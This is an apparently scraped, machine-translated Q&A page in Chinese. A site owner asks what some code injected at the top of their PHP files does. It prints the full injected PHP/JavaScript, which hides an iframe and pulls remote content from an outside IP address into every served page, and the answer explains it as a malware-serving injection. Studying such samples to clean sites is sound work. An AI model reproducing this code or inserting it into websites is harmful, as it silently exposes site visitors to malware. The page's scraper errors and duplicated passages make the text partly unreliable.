Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/265.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
服务器黑客-添加到PHP文件顶部的随机代码_Php - Fatal编程技术网

服务器黑客-添加到PHP文件顶部的随机代码

服务器黑客-添加到PHP文件顶部的随机代码,php,Php,我在我的一些.PHP页面上找到了这些代码行 <?php /*d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na*/if (!defined('HDDD467FFEY322')){function _shutdown_function($asd){$write =<<<AOLEW <script type='text/javascript'>if (typeof KDDRTFGEG == 'undefined') {

我在我的一些.PHP页面上找到了这些代码行

<?php /*d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na*/if (!defined('HDDD467FFEY322')){function _shutdown_function($asd){$write =<<<AOLEW
<script type='text/javascript'>if (typeof KDDRTFGEG == 'undefined') {document.write("<iframe src='http://82.200.204.151/config.inc.php' style='position:absolute;top:-1000px;left:-1000px;text-indent:-1000;width:1px;height:1px;'></iframe>");KDDRTFGEG=true;}</script>
AOLEW;
$asd = preg_replace('/<!--d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na-->(.*?)<!--d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na-->/i', '', $asd); $sdf = file_get_contents('http://82.200.204.151/config.inc.php');return str_replace('</body>', str_replace('http://82.200.204.151/config.inc.php', $sdf, $write) . '</body>', $asd);}if (function_exists('ob_start') && is_callable('ob_start')) $result = ob_start('_shutdown_function', 0, true);define('HDDD467FFEY322', 1);}/*d9787ac8b1f855217686293eff4ef53cvf4cet4gsk4k00na*/ ?>

有人知道这件事吗

或者至少告诉我它在做什么…

2015年11月9日更新 这被称为JavaScript注入(),它发生在您的服务器被黑客攻击并传播感染时

例如,这可能会在进入网站时弹出一个下载窗口,导致误导用户在其机器上下载可能的恶意软件

为了摆脱它,你最好检查你所有的文件,扫描你的整个电脑/也许做一个干净的安装。文件中通常有奇怪的
标记,其中包含一些非常奇怪的“毫无意义”的JS——这很好地表明您的文件已经注入了JS

如果你想永久消除漏洞,你还需要找到漏洞(或者直到他们找到新的方法对你的站点进行XSS)

您还可以做另一件事来保护自己免受XSS攻击:


1::跨站点脚本


离题: 自从我今天重温这个答案,在2001年9/11事件发生14年后,我想向那些在那一天死去的人表达我的敬意——R.I.p.

2015年11月9日更新 这被称为JavaScript注入(),它发生在您的服务器被黑客攻击并传播感染时

例如,这可能会在进入网站时弹出一个下载窗口,导致误导用户在其机器上下载可能的恶意软件

为了摆脱它,你最好检查你所有的文件,扫描你的整个电脑/也许做一个干净的安装。文件中通常有奇怪的
标记,其中包含一些非常奇怪的“毫无意义”的JS——这很好地表明您的文件已经注入了JS

如果你想永久消除漏洞,你还需要找到漏洞(或者直到他们找到新的方法对你的站点进行XSS)

您还可以做另一件事来保护自己免受XSS攻击:


1::跨站点脚本


离题:
自从2001年9/11事件14年后的今天,我再次回顾这个答案,我想向那些在那一天死去的人表达我的敬意-R.I.p.

我们在这里帮助解决编程问题,而不是帮助你修复服务器的漏洞。现在让你的服务器离线:我不想找任何人来帮助修复漏洞。。这是在我无法控制的服务器上。它是一个共享系统,因此我无法登录到ssh并以我希望的方式配置服务器。我把它放在那里是为了问它在做什么,也是为了让人们了解我的网站发生了什么,以帮助其他人防范它。我们来这里是为了帮助解决编程问题,而不是帮助你修复服务器的漏洞。现在让你的服务器离线:我不寻找任何人来帮助修复漏洞。。这是在我无法控制的服务器上。它是一个共享系统,因此我无法登录到ssh并以我希望的方式配置服务器。我把它放在那里作为一个问题,它在做什么,也让人们看到我的网站发生了什么,以帮助其他人防止它。我做了一个完整的扫描我的网站文件和删除行。然后我会扫描我的网站,以确保它没有扩散到这一个网站以外。谢谢没问题,如果你觉得这有帮助,请将答案标记为接受,这样人们就不会在这上面花费更多的时间。我正在对我的网站文件进行全面扫描并删除行。然后我将扫描我的其他网站,以确保它不会扩散到这一个网站之外。谢谢没问题,如果你觉得这有帮助的话,请把答案标记为接受,这样人们就不会在这上面花更多的时间了。